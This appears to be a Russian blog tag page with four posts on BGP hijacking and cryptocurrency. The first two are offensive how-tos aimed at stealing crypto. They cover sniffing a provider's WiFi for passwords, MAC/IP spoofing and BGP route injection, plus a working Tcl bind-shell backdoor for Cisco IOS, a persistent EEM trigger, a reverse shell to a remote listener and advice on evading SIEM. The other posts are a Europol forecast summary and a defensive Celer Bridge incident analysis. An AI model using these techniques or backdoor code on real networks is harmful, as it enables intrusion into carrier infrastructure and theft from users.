Tag: майнинг

  • BGP спуфинг и опустошение криптомоста

    BGP спуфинг и опустошение криптомоста

    Как bgp атаки с подменой маршрута ставят под угрозу криптовалютные системы

    BGP спуфинг и уязвимости криптомостов — это серьёзные проблемы, с которыми сталкивается современная интернет-инфраструктура и криптоиндустрия. Как мне рассказал один хороший знакомый, ему недавно удалось таки успешно осуществить вброс маршрута обхода криптоканала при помощи bgp sppofing и bgp hijacking, используя недостатки WiFi-инфраструктуры, которые, наверняка, присутствуют с сетях провайдеров и твоего города тоже.

    Что такое BGP и причём тут криптовалютный обменник?

    Протокол граничного шлюза (BGP) — это ключевая технология, обеспечивающая маршрутизацию данных между различными сетями в интернете. Он определяет, какие маршруты между сетями предпочтительнее, и помогает направлять трафик через сложную систему соединений. Однако BGP не имеет механизмов аутентификации, что делает его уязвимым для различного рода нарушителей.

    BGP спуфинг

    BGP спуфинг — это тип нарушений сетевой связанности, при которой нарушитель вбрасывает в сеть информацию, предназначаемую BGP роутеру, чтобы перехватить или изменить маршруты интернет-трафика. Нарушители могут «объявлять» о существовании маршрутов, которые на самом деле не принадлежат их сети. Это позволяет осуществлять mitm на майнинг, процессинг крипты, перехватывать данные транзакций и закрытых ключей, перенаправлять трафик на свои крипто каналы или мосты или вообще блокировать доступ к определённым ресурсам.
    Такой подход может привести к потере данных о проведённых транзакциях, компрометации конфиденциальной информации, а также использованию сети для несанкционированной деятельности. Например, нарушитель может перенаправлять трафик от пользователей, желающих получить доступ к финансовым платформам, что позволяет проводить процессинг крипты, перехватывая транзакции.

    Казалось бы, сбылась твоя мечта, и теперь ты, сидя во Вкусно и Точка, вкушая третий филе о фиш можешь легко и непринужденно копаться через беспроводное соединение в опроной сети местного или магистрального телекома, расположенного через дорогу? Что ж, такое вполне возможно, потому как безопасность такого провайдера, а значит и подключенных к нему криптоканалов и крипто мостов оставляет желать лучшего. 

    Слушаем сеть и качаем крипту

    Итак, не теряя времени, можно запустить WireShark и начать мониторить периметр. Среди пакетов сразу можно увидеть SSL-рукопожатие на сайте провайдера…
    К слову, как происходит авторизация соединения: сначала клиент коннектится к незащищенной WEP/WPA-точке, затем обращается браузером на любой сайт в Сети и редиректится на страницу авторизации. Там он вводит логин и пароль учётной записи, пополняемой путем отправки SMS-сообщения на специальный номер, и после этого, по всей видимости, на роутере создается правило, позволяющее выходить в интернет.
    Так вот, после зашифрованной SSL-авторизации можно увидеть совершенно незакриптованные пароли от ВКонтакте и почты, крипто кошельков, внутреннего портала провайдера, слегка заXOR’енные пароли социальных сетей (которые легко вскрываются тем же Ufasoft Sniffer или InterCepter’ом), данные о транзакциях криптовалюты, BGP UPDATE пакеты, HELLO пакеты сервиса OSPF,  и неприличные ссылки, ведущие на порносайты (совсем уже никого не стесняются современные инженеры электросвязи… :). Зная IP и MAC-адреса, фигурирующие в периметре (а они узнаются анализом ARP-сообщений), можно легко их проспуфить.
    Итак, с помощью хорошей программы по смене МАС-адресов “MACChange” (или вручную, это уже кто как любит) изменим адрес своего беспроводного адаптера на известный нам МАС сотрудника телекома.


    MACChange в работе

    Не забудем присвоить себе его же IP адрес тоже. Затем попробуем подключиться к сети. О чудо, оказывается, сеть провайдера допускает как DHCP, так и Static адресацию. И, таким образом, можно наслаждаться и начинать деать вброс BGP UPDATE пакетов обновления маршрутной информации в магистральную сеть провайдера, потому как всё адреса роутеров и пароли bgp-сессии для этого уже были получены, кода мы использовали WireShark.

    От себя хочу добавить, что вместо WireShark для получения паролей открывающих доступ в сеть телекоммуникационного провайдера многие грамотные люди предпочитают пользоваться пакетом Aircrack-NG, он очень удобный и содержит серию различных утилит для работы с беспроводными сетями.

    Криптомосты и их уязвимости

    Криптомосты (cross-chain bridges) — это специальные приложения, позволяющие обменивать активы между различными блокчейнами. Например, если пользователь хочет обменять Bitcoin на Ethereum, криптомосты обеспечивают возможность такой транзакции, сохраняя функциональность блокчейнов. Однако из-за своей сложной структуры они становятся целью для нарушителя.
    Криптомосты взаимодействуют с несколькими блокчейнами, и если один из них уязвим, это может поставить под угрозу всю систему. Основные инциденты с криптомостами связаны с перехватом транзакций, взломом смарт-контрактов и использованием уязвимостей в криптографических алгоритмах. Недавние случаи показывают, что были украдены миллионы долларов в крипте, используя уязвимости криптомостов, что делает этот вопрос особенно актуальным для пользователей и разработчиков.

    Как BGP спуфинг угрожает криптомостам?

    BGP спуфинг может оказаться серьёзной угрозой для криптомостов. Один из сценариев заключается в том, что нарушитель может перенаправить трафик между криптомостами, перехватывая ключевые данные, такие как криптографические ключи или транзакционные записи. Это позволяет несанкционированно изменять или отменять транзакции.
    Более того, BGP hijacking может затронуть серверы, которые обеспечивают поддержку криптомостов. Например, если нарушитель получает доступ к серверам, обрабатывающим транзакции, он может подменить данные, создавая ложные транзакции или даже полностью опустошить криптомост, что приведёт к серьёзным финансовым потерям.
    Примерно именно так и льют крипту через mitm с майнинга или обменников при помощи bgp spoofing и bgp hijacking в настоящее время.
  • Перехват и подмена bgp-сессии при помощи Cisco TCL

    Перехват и подмена bgp-сессии при помощи Cisco TCL

    Обычно мониторинг ситуаций, связанных с перехватом трафика через bgp затруднен и в siem очень трудно отследить что-то связанное с изменением маршрутов трафика при помощи внедрения bgp нарушителем. Поговорим немного о том, как можно использовать маршрутизатор Cisco Systems с привилегированным доступом level 15, что позволяет для реализации сценариев bgp spoofing с использованием встроенного в него функционала скриптового движка TCL.
    Вариантов изменения маршрутов (создание bgp обхода) в сети Интернет может быть несколько, однако самый простой из них — получению доступа к роутеру, а уже эту задачу можно решать различными способами и методами, мне на ум пришло несколько таких: 
    • Брутфорс пароля от интерфейса управления BGP;
    • Получение доступа посредством угона почты/аккаунта/компьютера одного из сотрудников или администраторов какого-нибудь провайдера (который рулит этим bgp роутером);
    • Поиск или эксплуатация уже существующих багов в BGP-сервере для обхода, запущенном на Linux-машине (по моему опыту, это чаще всего это Bird, Quagga (FRR) или же это будет стандартный девайс Cisco, Juniper или Huawei);
    • Получение доступа к управлению софтовым маршрутизатором BGP через сторонние сервисы, запущенные на этом же Linux-сервере;
    • «Вклинивание» в уже установленную BGP сессию между определенными узлами, но об этом мы поговорим чуточку позже, или напишите мне в личку. 
    Сейчас я опишу несколько вариантов реализации mitm bgp метода, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе под управлением Cisco IOS. Тебе это сильно пригодится для более глубокого осмысления роли bgp в криптоканалах как раз для создания своего bgp сервера для обхода и приземления нужного тебе трафика на свой мост. 

    Перехват bgp-сессии в Ростелекоме
    Tcl – это Tool Command Language, язык сценариев, часто применяемых с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему Cisco IOS, используемую маршрутизаторами Cisco Systems, интерпретатор Tcl был внедрён начиная с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения “пользовательских” скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.
    Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора под управлением Cisco IOS для следующих действий:
    • Разработки собственного варианта “бэкдора” с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
    • Перехват bgp-сессии с подменой маршрутов или внедрением своего маршрута; 
    • Проведения сканирования портов в различных сегментах сети;
    • Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
    • Процессинг крипты через подмену маршрута bgp до криптомоста с китами и подмена смартконтрактов на этом мосте;
    • Создание bgp обхода для инфильтрации трафика на своём оборудовании;
    • Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.

    Данными методами также можно воспользоваться для процессинга крипты, получив доступ к TFTP-серверу телеком провайдера, где размещены существующие активные TCL-сценарии и принудительно заменить существующий сценарий на собственный, предназначенный для реализации bgp spoofing сценария или создания bgp сервера для обхода криптомоста с последующим приземлением трафика китов на свой мост. В этом случае произойдет загрузка именно твоего сценария TCL и запуск его на граничном bgp-маршрутизаторе.

    Практикуемся

    Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий недавно использовался в качестве задания на соревнованиях “Рускрипто CTF“.
    В первую очередь давай разберем, как работает Tcl на устройствах под управлением Cisco IOS.

    Загрузка и исполнение TCL-скрипта:

    Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 enable. Скрипт Tcl необходимо загружать удаленно на маршрутизатор Cisco, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы Cisco IOS.
    Вот так выглядит загрузка скрипта во FLASH память и последующее его выполнение:
    Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
    Router# tclsh flash://script.tcl
    Загрузка скрипта непосредственно с TFTP-сервера:
    Router# tclsh tftp://192.168.1.4/script.tcl
    Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).
    proc callback {sock addr port} { 
    fconfigure $sock -translation crlf -buffering line
    puts $sock "Cisco router admin console:" 
    puts $sock " " 
    puts -nonewline $sock "Router# "
    flush $sock
    fileevent $sock readable [list echo $sock] 


    proc echo {sock} {
    global var

    flush $sock

    if {[catch {gets $sock line}] || 
    [eof $sock]} {
    return [close $sock]
    }

    catch {exec $line} result
    if {[catch {puts $sock $result}]} {
    return [close $sock]
    }

    puts -nonewline $sock "Router# "
    flush $sock
    }

    set port 2002
    set sh [socket -server callback $port] 
    vwait var 
    close $sh
    После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему режим EXEC без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя level 15.
    [ptsec@maxpatrol ~]$ telnet router 2002
    Trying 192.168.1.10...
    Connected to router.
    Escape character is '^]'.

    Cisco router admin console:

    Router#
    Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением Cisco IOS. В ранних версиях Cisco IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот “патч-фикс” производителя можно обойти несколькими способами:
    1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии пользователя скрипт завершит свою работу.
    Router>en
    Router#conf t
    Enter configuration commands, one per line. End with CNTL/Z.
    Router(config)#line vty 0 4
    Router(config-line)#exec-timeout 0 0
    2. Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация Cisco IOS, которая загружает скрипт с TFTP сервера после запуска маршрутизатора по истечении 20 секунд.
    Router(config)# event manager applet BACKDOOR
    Router(config-applet)# event timer countdown name Delay time 20
    Router(config-applet)# action 1.0 cli command "enable"
    Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
    Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"
    3. Конвертировать TCL-сцкнарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.

    Готовые утилиты и сценарии bgp spoofing

    В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный в Cisco IOS язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL во flash-память маршрутизатора или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL-скрипта на маршрутизатор описана выше.

    Примеры реализации:

    Организация бэкдора на маршрутизаторе (2002 порт):
    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe
    Организация реверсного шелла на нужный IP адрес сервера обхода bgp (порт 12345):
    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345
    (на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)
    Проброс удаленного порта на локальный порт маршрутизатора (2002):
    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80
    У данного сценария есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.
    Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде Cisco IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.
    Рассмотрим примеры использования:
    Router>en
    Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
    Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 15912 bytes]

    Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 42121 bytes]

    Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

    Free Memory on Platform = 29038388 / Memory required for this scan = 2622514

    Host 192.168.1.1 is unavailable

    Host 192.168.1.2 is unavailable

    Host 192.168.1.3 is unavailable

    Interesting ports on host 192.168.1.4
    PORT STATE SERVICE
    20/tcp closed ftp-data
    21/tcp closed ftp
    22/tcp closed ssh
    23/tcp closed telnet
    24/tcp closed priv-mail
    80/tcp open http
    443/tcp closed https

    Host 192.168.1.5 is unavailable

    Router#
    Изменение вариантов сканирования скрипта возможно путем добавления аргументов:
    -sP – только по ответу хоста;
    -sT – TCP-портов методом TCP connect;
    -sU – UDP-портов через функционал IP SLA.
    Учитывая богатые возможности языка ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании под управлением Cisco IOS для применения в локальной вычислительной сети провайдера для реализации bgp spoofing сценариев.

    Как скрыться от SIEM

    Имея возможность запускать сценарии TCL, также интересно иметь возможность отследить их исполнение в среде Cisco IOS. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:
    Router#show processes cpu | i Tcl
    212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16

    Router#show tcp brief all
    TCB Local Address Foreign Address (state)
    659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
    654485B4 *.2002 *.* LISTEN
    65CA2D04 *.80 *.* LISTEN
    Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):
    Router#show control-plane host open-ports
    Active internet connections (servers and established)
    Prot Local Address Foreign Address Service State
    tcp *:23 *:0 Telnet LISTEN
    tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
    tcp *:80 *:0 HTTP CORE LISTEN
    tcp *:1234 *:0 Tcl Serv - tty163 LISTEN


    Устройства под управлением Cisco IOS в 1999 и 2024

    Инженер электросвязи шатает BGP

    Таким образом, все поняли, что любую, даже самую защищенную провайдерскую Cisco можно захватить умело написанным и запущенным TCL-сценарием. В итоге ты получаешь шелл для манипулирования трафиком в глобальной сети Интернет для реализации нужных тебе сценариев bgp spoofing для проведения mitm с криптой со всеми вытекающими отсюда последствиями.
  • Нелегальный майнинг криптовалюты задаёт тренд на площадках процессинга

    Нелегальный майнинг криптовалюты задаёт тренд на площадках процессинга

    Европейский центр по борьбе с киберпреступностью при Европоле опубликовал футурологический прогноз

    c описанием возможных сценариев развития нелегальной киберактивности в Европе. Прогнозы выглядят довольно мрачно. По мнению специалистов, нальщики и дроповоды смогут взламывать огромное количество устройств — автомобили, медицинские приборы, имплантаты или беспилотные летательные аппараты.

    103 USD за 11 кликов

    Например, эксперты говорят о появлении принципиально новых видов угроз. Грань между компьютерной и физической атакой на человека во многих случаях будет стерта. Если произойдет по-настоящему тесная конвергенция биотехнологий, компьютерных технологий и виртуальной реальности, то могут возникнуть такие атаки.

    Новые типы компьютерных атак и смежных активностей

    • Рынок скрэмблеров для распознавания настроения пользователей, симуляции дистанционного присутствия, технологии Near Field Communication
    • Сильно распределенные DoS-атаки через облачные сервисы
    • Переход от ботнетов на устройствах к облачным ботнетам, использование чужих вычислительных ресурсов
    • Зрелый подпольный рынок виртуальных товаров, как украденных, так и контрафактных
    • Физические атаки на дата-центры и точки обмена трафиком
    • Электронные атаки на критическую инфраструктуру, включая источники энергии, транспорт и информационные службы
    • Микро-преступность, включая воровство и генерацию фальшивых микроплатежей
    • Биовзломы элементов многофакторной аутентификации
    • Насилие против людей с использованием компьютеров, появление вредоносных программ для людей (вероятно, здесь имеется в виду атака на имплантаты)
    • Войны кибергруппировок
    • Продвинутая криминалистическая разведка, включая дата-майнинг больших объемов данных
    • Таргетированные кражи личностей и взлом аватаров
    • Сложные манипуляции с репутацией
    • Подделка дополненной реальности для мошенничества с помощью социальной инженерии
    • Использование беспилотных аппаратов и роботов в преступных целях
    • Взлом коммуникационных устройств с прямым физическим доступом (коммуникации между автомобилями, наголовные дисплеи и другая носимая электроника)


    В общем, будущее нас ждет довольно интересное… 
  • Celer Bridge incident analysis or why the BGP hijacks still having success

    Celer Bridge incident analysis or why the BGP hijacks still having success

     On 17 August 2022, a BGP spoofer was able to steal approximately USD 235,000 in cryptocurrency by employing a BGP hijack against the Celer Bridge, a service that allows users to convert between cryptocurrencies.

    In this blog post, I discuss this and previous infrastructure attacks against cryptocurrency services. While these episodes revolve around the theft of cryptocurrency, the underlying attacks hold lessons for securing the BGP routing of any organization that conducts business on the Internet.

    The BGP hijack of Celer Bridge

    In a detailed blog post earlier this month, the threat intelligence team from Coinbase explained how the attack went down (Note: Coinbase was not the target of the attack). In short, the attacker used a BGP hijack to gain control of a portion of Amazon’s IP address space.

    Doing so allowed it to impersonate a part of the Celer Bridge infrastructure, which was hosted by Amazon, and issue malicious smart contracts. These ‘phishing contracts’ stole the victim’s assets by redirecting them to the attacker’s wallet.

    To ensure the BGP hijack would be successful, the attacker needed to make certain its malicious BGP announcements wouldn’t get filtered by an upstream network by taking two steps. First, it managed to insert bogus route objects (shown below) for QuickhostUK in AltDB, a free alternative to the IRR databases managed by RADB and the five RIRs. At this time, it is unclear whether QuickhostUK was also a victim of this attack.

    irrd.log-20220817.gz:31106270-ADD 96126

    irrd.log-20220817.gz:31106280-

    irrd.log-20220817.gz:31106281-as-set:     AS-SET209243

    irrd.log-20220817.gz:31106306-descr:      quickhost set

    irrd.log-20220817.gz:31106332-members:    AS209243, AS16509

    irrd.log-20220817.gz:31106362:mnt-by:     MAINT-QUICKHOSTUK

    irrd.log-20220817.gz:31106392-changed:    crussell()quickhostuk net 20220816

    irrd.log-20220817.gz:31106438-source:     ALTDB

    irrd.log-20220817.gz:31147549-ADD 96127

    irrd.log-20220817.gz:31147559-

    irrd.log-20220817.gz:31147560-route:      44.235.216.0/24

    irrd.log-20220817.gz:31147588-descr:      route

    irrd.log-20220817.gz:31147606-origin:     AS16509

    irrd.log-20220817.gz:31147626:mnt-by:     MAINT-QUICKHOSTUK

    irrd.log-20220817.gz:31147656-changed:    crussell()quickhostuk net 20220816

    irrd.log-20220817.gz:31147702-source:     ALTDB

    Credit: Siyuan Miao of Misaka on NANOG list

    Since network service providers build their route filters using these IRR databases, this step was necessary to ensure upstream networks wouldn’t filter the bogus announcements coming from QuickhostUK.

    Secondly, the attacker altered the AS-PATH of the route so that it appears to be originated by an Amazon ASN (specifically AS14618). This also caused the route to be evaluated as RPKI-valid; more on that later.

    After the hijack in August, I tweeted the following Kentik BGP visualization showing the propagation of this malicious route. The upper portion shows 44.235.216.0/24 appearing with an origin of AS14618 (in green) at 19:39 UTC and quickly becoming globally routed. It was withdrawn at 20:22 UTC but returned again at 20:38, 20:54, and 21:30 before being withdrawn for good at 22:07 UTC.

    Kentik BFP Monitor’s view of the Amazon BGP hijack

    Amazon didn’t begin announcing this identical /24 until 23:07 UTC (in purple), an hour after the last hijack was finished and more than three hours after the hijacks began. According to Coinbase’s timeline, victims had cryptocurrency stolen in separate events between 19:51 and 21:49 UTC.

    Previous BGP hijacks against cryptocurrencies

    The Celer Bridge attack wasn’t the first time that a cryptocurrency service was targeted using a BGP hijack. In April 2018, Amazon’s authoritative DNS service, the former Route 53, was hijacked in order to redirect certain DNS queries to an imposter DNS service, as illustrated below.

    Amazon’s authoritative DNS service was hijacked to redirect certain DNS queries to an imposter DNS service, in April 2018

    The imposter authoritative DNS server returned bogus responses for myetherwallet.com, misdirecting users to an imposter version of MyEtherWallet’s website. When users logged into their accounts (after clicking past the certificate error, ∗sigh∗), the cryptocurrency was drained from their accounts.

    Within a couple of months of this incident, Amazon had published ROAs for their routes including those of its authoritative DNS service. This move enabled RPKI ROV to help offer some protection against such an attack in the future.

    Since public DNS services like Google DNS peer directly with Amazon and reject RPKI-invalids, it would be difficult, if not impossible, to fool Google DNS like this again. If an attacker surreptitiously appended an Amazon ASN to the AS-PATH of its hijack route in order to render it RPKI-valid, it would be unlikely to be selected over the legitimate route from Amazon because of its longer AS-PATH length.

    The BGP hijack against Amazon was not to be the last to target cryptocurrency.

    Earlier this year there was another incident that involved the manipulation of BGP to target a cryptocurrency service. Attackers were able to make off with over USD 2 million in cryptocurrency by employing a BGP hijack against KLAYswap, an online cryptocurrency exchange based in South Korea.

    Henry Birge-Lee and his colleagues at Princeton authored an excellent post on this incident. In this incident, the attackers went after the users of the KLAYswap cryptocurrency exchange by performing a BGP hijack of the IP space of a South Korean hosting provider (Kakao), as illustrated below.

    BGP hijack of Kakao’s IP space. Image credit Henry Birge-Lee

    This is because Kakao was hosting a javascript library that was loaded when users were on the KLAYswap platform. The BGP hijack enabled the attackers to impersonate Kakao and return a malicious version of this library redirecting user transactions to destinations controlled by the attackers.

    So what can be done to protect against BGP hijacks?

    While the incidents discussed above all involved the targeting of cryptocurrency services, the underlying issues are universal and can affect any organization that uses Internet-based services. In order to safeguard against attacks like these, BGP and DNS monitoring need to play a central role in your monitoring strategy. Additionally, strict RPKI configuration can also increase the difficulty for someone to hijack your routes, as I will explain.

    BGP and DNS monitoring

    DNS monitoring exists for the scenario that unfolded with MyEtherWallet in 2018. It uses agents around the world to check that queries for a specified domain return expected results. If a response contains something other than what was expected, it will fire off an alert.

    In the case of last month’s Celer Bridge attack, BGP monitoring could have alerted that a new /24 of Amazon address space was being announced, although the forged Amazon origin may have caused it to appear legitimate.

    However, when this new /24 appeared with an unexpected upstream of AS209243 (Quickhost), that should have triggered an alert drawing attention to this anomaly. The key detail here that would have distinguished this alert from the appearance of just another peer of Amazon would have been that the new upstream was seen by 100% of BGP vantage points. In other words, this new Amazon prefix was getting exclusively transited by this relatively unknown hosting provider. That should have raised some eyebrows among the Amazon NetOps team.

    RPKI ROV

    Amazon had a ROA for the prefix that was hijacked, so why didn’t RPKI ROV help here? It is important to first emphasize that RPKI ROV is intended to limit the impact of inadvertent or accidental hijacks due to routing leaks or misconfigurations. This is because ROV alone cannot prevent a ‘determined adversary’ from forging the origin in the AS-PATH, rendering a malicious hijack RPKI-valid.

    Having said that, it could have still helped if the ROA were set up differently. As it stands, the ROA for the address space in question is quite liberal. Basically, three different Amazon ASNs (16509, 8987, and 14618) can all announce parts of this address space with prefixes ranging in size from a /10 all the way down to a /24. See the output of the Routinator web UI, as shown in figure 4.

    Validation results for 44.235.216.0/24 - AS16509 via the Routinator web UI

    An alternative approach to ROA creation would be to do what other networks such as Cloudflare and Comcast have done — set the origin and maximum prefix length to be identical to how the prefix is routed. While this approach incurs an overhead cost of needing to update a ROA every time a route is modified, it also leaves little room for alternate versions of the route to come into circulation. Another consideration is the propagation time of the RPKI system itself — changes to ROAs take time to propagate around the world and networks only periodically update their RPKI data.

    In its blog post following the June 2019 routing leak by Allegheny Technologies, Cloudflare made the argument that had Verizon deployed RPKI ROV and had been rejecting RPKI-invalid routes, the leak would not have circulated and the impact would have been minimal. As I discussed in my talk at NANOG 78 in February 2020, this statement is only true because the maximum prefix lengths in Cloudflare’s ROAs matched the prefix lengths of their routes. This is not true of many ROAs, including Amazon’s.

    At NANOG 84 earlier this year, Comcast presented the story of how they deployed RPKI ROV on their network. In the Q&A, they confirmed that they adopted a strategy of using automation to maintain exact matches of maximum prefix lengths in their ROAs to avoid this route optimizer leak scenario.

    Had Amazon created a ROA specifically for 44.224.0.0/11 with an origin of AS16509 and a max-prefin-len of 11, then the attacker would have to do one of two things to pull off this attack. One option would be to announce the same route (44.224.0.0/11 with a forged origin of AS16509). This route would have been RPKI-valid but would have had to contend with the real AS16509 for route propagation. Alternatively, if the attacker announced a more-specific route, it would have been evaluated as RPKI-invalid and had its propagation dramatically reduced if not completely blocked given the upstream in this case was Arelion and they reject RPKI-invalid routes.

    Conclusions

    The attacks against cryptocurrency services in recent years highlight universal problems that aren’t restricted to cryptocurrencies. Companies looking to secure their Internet-facing infrastructures need to deploy robust BGP and DNS monitoring of their infrastructure as well as that of any Internet-based dependencies they may have.
    Additionally, companies should reject RPKI-invalid routes while also creating strict ROAs for their IP address space by including maximum prefix lengths that exactly match the prefix lengths used in their routes. In fact, RFC 9319 ‘The Use of maxLength in the Resource Public Key Infrastructure (RPKI)’ states that it is a ‘best current practice’ that networks entirely avoid using the maxLength attribute in ROAs, except in certain circumstances. Leaving the maxLength field blank in a ROA has the same effect as setting the maxLength field to match the prefix. These steps can greatly reduce the window of opportunity for an attacker to subvert your Internet infrastructure.